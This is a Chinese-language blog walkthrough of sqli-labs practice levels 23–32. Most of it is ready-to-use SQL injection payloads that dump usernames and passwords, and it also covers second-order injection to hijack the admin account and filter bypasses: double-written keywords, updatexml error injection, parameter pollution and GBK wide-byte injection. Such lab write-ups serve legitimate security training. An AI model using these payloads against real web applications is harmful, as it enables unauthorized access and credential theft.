sqli靶场通关流程23~32关

发布时间 2023-10-17 16:04:41作者: Kevin_404notfound

sqli靶场通关流程23~32关

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

首先,我们通过输入1’ union select 1,2,database()--+发现结尾提示少了一个单引号

我们再尝试输入联合查询语句?id=' union select 1,2,database() ' 看看能不能爆库,发现直接爆出来了

接下来我们爆表,输入?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

接下来我们爆列名,输入?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

接下来我们爆值,输入?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less - 24 Second Degree Injections *Real treat* -Store Injections (二次注入)

先打开页面,看到一个登陆界面,此时我们就要想到要越权登录到admin的账号

这里我们先新建一个admin’#的账号并且登录,这里我们可以尝试输入admin的账号,并把admin账号的密码改为123456

使用刚刚修改的密码登陆成功

Less-25 GET Error based - All your OR & AND belong to us -string single quote(过滤了or和and)

先输入?id=-1' union select 1,2,database()--+ 发现注入成功

直接使用poc构造爆值语句,输入?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+ 发现报错了,并且报错信息中,password回显少了or两个字母,此时灵机一动,咱们可以双写来绕过检测

稍作修改,输入?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

发现果然爆值成功

Less-26 GET - Error based - All your SPACES and COMMENTS belong to us

此题令我绞尽脑汁,一直没法解决问题,直到我查看源码,才知道注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换,方法是直接输入?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

成功后,我们直接输入

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆值

Less-27 GET Error Based- All your UNION & SELECT Belong to us - String - Single quote

看标题,这关很明显就是union和select被过滤了,我们只能大小写绕过或者复写绕过,直接输入

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0 爆值

Less-29 GET -Error based- IMPIDENCE MISMATCH- Having a WAF in front of web application

发现直接输入

?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

直接爆值成功

Less-30 GET BLIND - IMPIDENCE MISMATCH- Having a WAF in front of web application

这关存在空格和字符检测,直接换成

?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

爆值成功

Less-31 GET - BLIND -IMPIDENCE MISMATCH- Having a WAF in front of web application

和第30关差不多,只是多了一个括号

直接输入

?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+ 爆值

Less-32 GET - Bypass custom filter adding slashes to dangerous chars

第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节

我们直接输入

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+ 爆值

编写人:Kevin
2023.10.17